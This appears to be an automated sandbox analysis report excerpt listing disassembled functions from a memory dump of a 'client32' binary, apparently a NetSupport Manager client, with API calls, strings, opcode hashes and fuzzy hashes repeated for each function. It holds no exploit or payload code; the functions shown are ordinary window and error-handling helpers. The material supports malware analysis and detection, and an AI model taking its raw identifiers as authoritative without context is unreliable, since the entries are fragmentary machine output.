Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 9426acf8e79a86d963c2fc4e4fe9e0b3a848eac582adc7d94dbc3e0bf9044144
Instruction ID: 66f1678c741d69056f24fb38e5f1926d93c7d4e0e7c38f0779b183b432510f86
Opcode Fuzzy Hash: 9426acf8e79a86d963c2fc4e4fe9e0b3a848eac582adc7d94dbc3e0bf9044144
Instruction Fuzzy Hash: 26E08675A403197BD310DA81DC46ED6F39CDB45714F008025F9595A240D6B1B94087A0

Function 110141B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001201,?,?), ref: 110141E1

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 110141BE
m_hWnd, xrefs: 110141C3

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: 2220ea4d4314ce11eb19b23b232e9ac23e65213a12c5755011ccedf5fcfbd85d
Instruction ID: e40b82f977eb721f415d7ce6a6c2c5c571fa6c694b71c8e0fe353644d2fc67f2
Opcode Fuzzy Hash: 2220ea4d4314ce11eb19b23b232e9ac23e65213a12c5755011ccedf5fcfbd85d
Instruction Fuzzy Hash: C6E0CD75A503187BD710DA81DC86FD7F39CDB54755F00C125FD2556640D670F950C790

Function 11014230 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001204,?,?), ref: 11014261

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 1101423E
m_hWnd, xrefs: 11014243

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: 4695f712f38e19e96030587a8b7603a3e15687e8071c6d8b407a0c9646f69055
Instruction ID: 55ae1fe25e9a5b1997f1acacac97235014ae2df67c49f839450db2036e8126b3
Opcode Fuzzy Hash: 4695f712f38e19e96030587a8b7603a3e15687e8071c6d8b407a0c9646f69055
Instruction Fuzzy Hash: DDE086796502187BD3109A81DC46ED6F39CDB44765F00C125F9255A240D670B8408790

Function 110171F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000101C,?,00000000), ref: 11017222

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11017201
m_hWnd, xrefs: 11017206

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 60a1b6a3ee2cbd739f663da181e31c22685e6289d91970e62bf161fdfa926ba2
Instruction ID: ca461658ff4ad9fd457e958dedcd80386c4d58b841a73ce1d2056031be29817f
Opcode Fuzzy Hash: 60a1b6a3ee2cbd739f663da181e31c22685e6289d91970e62bf161fdfa926ba2
Instruction Fuzzy Hash: 54E0C275A80329BBE2209681DC42FD6F38C9B05714F004435F6196A182D5B0F4408694

Function 110141F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001205,00000000,?), ref: 1101421F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 110141FE
m_hWnd, xrefs: 11014203

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: 45d04b9d47e171c164f04e5fe7f3ce9731aac29ce4d7bf167181722963fe8d9e
Instruction ID: 032d4df9316a5e8283d8688c6328372b319042290bc349747f778d43e7cc2059
Opcode Fuzzy Hash: 45d04b9d47e171c164f04e5fe7f3ce9731aac29ce4d7bf167181722963fe8d9e
Instruction Fuzzy Hash: B3E02B75B903287BD3209A81DC46FD7F39CDB04B55F004035F625AA581E6B1F450C794

Function 11014270 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001202,?,00000000), ref: 1101429F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 1101427E
m_hWnd, xrefs: 11014283

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: 6790253aba43e4d2d294870132a24e840559ef9fe61a4894bf3dc9e7539016be
Instruction ID: 7bc1a9946e64f754710be5ebc9e77f2b7f227168eeca9689bda6582359b448ca
Opcode Fuzzy Hash: 6790253aba43e4d2d294870132a24e840559ef9fe61a4894bf3dc9e7539016be
Instruction Fuzzy Hash: 30E0C275A50328BBD2209691DC46FD6F39C9B04755F008036F625AA181D6B0B8408694

Function 11026130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 11026141
SetLastError.KERNEL32(00000078), ref: 11026157

Strings

SetProcessDPIAware, xrefs: 1102613B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: SetProcessDPIAware
API String ID: 199729137-3477150623
Opcode ID: c27a12ae67aa8f4c73138461e800a71dd05296353ad8864271ee7e96fb39bf7f
Instruction ID: a0b8e5f83d4182f1424546049561e52e6892c7ed8099c53223f80ed2ed61eebf
Opcode Fuzzy Hash: c27a12ae67aa8f4c73138461e800a71dd05296353ad8864271ee7e96fb39bf7f
Instruction Fuzzy Hash: 1AE0C231D412348FD7209FB8FC08786B7F4AF08715F02046AE991D3A44C730A8408B80

Function 11016170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20windowCOMMON

Download Yara Rule

APIs

ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 11016198

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

m_hImageList, xrefs: 11016182
e:\nsmsrc\nsm\1210\1210f\ctl32\imagelst.h, xrefs: 1101617D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitIconImageLastList_MessageProcessReplacewsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\imagelst.h$m_hImageList
API String ID: 2426217062-4007669474
Opcode ID: 5113717a35f8a1ec747186b26df29046b32877a8f349f41facf259b61c2aef29
Instruction ID: 8e65b7ad63f8a8bd737c5e548218eb9c2c83e8f30b1cb0f0ee6871e24481aec6
Opcode Fuzzy Hash: 5113717a35f8a1ec747186b26df29046b32877a8f349f41facf259b61c2aef29
Instruction Fuzzy Hash: B8D02B756402297BC3108A88DC01FD5F38CCF15371F040336F961522C0D9B0A4408B94

Function 11001120 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100114B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001131
m_hWnd, xrefs: 11001136

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: 29a8f3e74b10ecb473689528bebe8d9fb683c07999dd0dfdb1f1582f8126aa29
Instruction ID: 819250d5e51c5ae6cd1eebd62df6884d4c995cad7bb4673794d6e20848bff6e8
Opcode Fuzzy Hash: 29a8f3e74b10ecb473689528bebe8d9fb683c07999dd0dfdb1f1582f8126aa29
Instruction Fuzzy Hash: A0D02BB191032D7BC3048A81DC42ED6F3CCEB04365F004036F62656100D670E440C3D4

Function 11001000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001011
m_hWnd, xrefs: 11001016

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 41ac2f8117c1c669daa6b7824a22dc0040faad1d84520ef1f3ec06ac7ff731c9
Instruction ID: 3936fa5a6487bcfb2675ba24450813cfe8c9b001fa673c8171921283ac7246b0
Opcode Fuzzy Hash: 41ac2f8117c1c669daa6b7824a22dc0040faad1d84520ef1f3ec06ac7ff731c9
Instruction Fuzzy Hash: C8D02BB66003287BD320D681DC41ED6F3CCD708354F004036F51956100D5B0E840C390

Function 11014170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001200,00000000,00000000), ref: 1101419A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 1101417B
m_hWnd, xrefs: 11014180

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: dd98e714131f01e1e3e9502ddc8d4ea3022c80635d59d6fdd5c37ba5f3223207
Instruction ID: 2522c449d059071d808e86b76c7b4b43721457dd443dfec71d59ac38f3b9efb9
Opcode Fuzzy Hash: dd98e714131f01e1e3e9502ddc8d4ea3022c80635d59d6fdd5c37ba5f3223207
Instruction Fuzzy Hash: A0D0A735F9033576E6205591AC4BFC5B2985B04B49F104165F121B90C1D2A0B4408648

Function 11113160 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(MSOfficeWClass,00000000), ref: 1111316A
SendMessageA.USER32(00000000,00000414,00000000,00000000), ref: 11113180

Strings

MSOfficeWClass, xrefs: 11113165

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
